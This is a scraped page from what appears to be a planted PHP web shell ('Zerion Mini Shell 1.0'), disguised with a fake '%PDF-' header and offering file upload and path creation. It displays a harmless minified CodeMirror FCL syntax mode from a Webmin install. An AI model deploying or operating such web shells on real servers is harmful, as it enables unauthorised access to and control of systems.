%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/webmin/authentic-theme/unauthenticated/js/codemirror/mode/fcl/
Upload File :
Create Path :
Current File : //usr/share/webmin/authentic-theme/unauthenticated/js/codemirror/mode/fcl/fcl.js

!function(e){"object"==typeof exports&&"object"==typeof module?e(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],e):e(CodeMirror)}(function(e){"use strict";e.defineMode("fcl",function(e){function n(e,n){var r=e.next();if(/[\d\.]/.test(r))return"."==r?e.match(/^[0-9]+([eE][\-+]?[0-9]+)?/):"0"==r?e.match(/^[xX][0-9a-fA-F]+/)||e.match(/^0[0-7]+/):e.match(/^[0-9]*\.?[0-9]*([eE][\-+]?[0-9]+)?/),"number";if("/"==r||"("==r){if(e.eat("*"))return n.tokenize=t,t(e,n);if(e.eat("/"))return e.skipToEnd(),"comment"}if(d.test(r))return e.eatWhile(d),"operator";e.eatWhile(/[\w\$_\xa1-\uffff]/);var o=e.current().toLowerCase();return a.propertyIsEnumerable(o)||c.propertyIsEnumerable(o)||f.propertyIsEnumerable(o)?"keyword":l.propertyIsEnumerable(o)?"atom":"variable"}function t(e,t){for(var r,o=!1;r=e.next();){if(("/"==r||")"==r)&&o){t.tokenize=n;break}o="*"==r}return"comment"}function r(e,n,t,r,o){this.indented=e,this.column=n,this.type=t,this.align=r,this.prev=o}function o(e,n,t){return e.context=new r(e.indented,n,t,null,e.context)}function i(e){if(e.context.prev){return"end_block"==e.context.type&&(e.indented=e.context.indented),e.context=e.context.prev}}var u=e.indentUnit,a={term:!0,method:!0,accu:!0,rule:!0,then:!0,is:!0,and:!0,or:!0,if:!0,default:!0},c={var_input:!0,var_output:!0,fuzzify:!0,defuzzify:!0,function_block:!0,ruleblock:!0},f={end_ruleblock:!0,end_defuzzify:!0,end_function_block:!0,end_fuzzify:!0,end_var:!0},l={true:!0,false:!0,nan:!0,real:!0,min:!0,max:!0,cog:!0,cogs:!0},d=/[+\-*&^%:=<>!|\/]/;return{startState:function(e){return{tokenize:null,context:new r((e||0)-u,0,"top",!1),indented:0,startOfLine:!0}},token:function(e,t){var r=t.context;if(e.sol()&&(null==r.align&&(r.align=!1),t.indented=e.indentation(),t.startOfLine=!0),e.eatSpace())return null;var u=(t.tokenize||n)(e,t);if("comment"==u)return u;null==r.align&&(r.align=!0);var a=e.current().toLowerCase();return c.propertyIsEnumerable(a)?o(t,e.column(),"end_block"):f.propertyIsEnumerable(a)&&i(t),t.startOfLine=!1,u},indent:function(e,t){if(e.tokenize!=n&&null!=e.tokenize)return 0;var r=e.context,o=f.propertyIsEnumerable(t);return r.align?r.column+(o?0:1):r.indented+(o?0:u)},electricChars:"ryk",fold:"brace",blockCommentStart:"(*",blockCommentEnd:"*)",lineComment:"//"}}),e.defineMIME("text/x-fcl","fcl")});

Zerion Mini Shell 1.0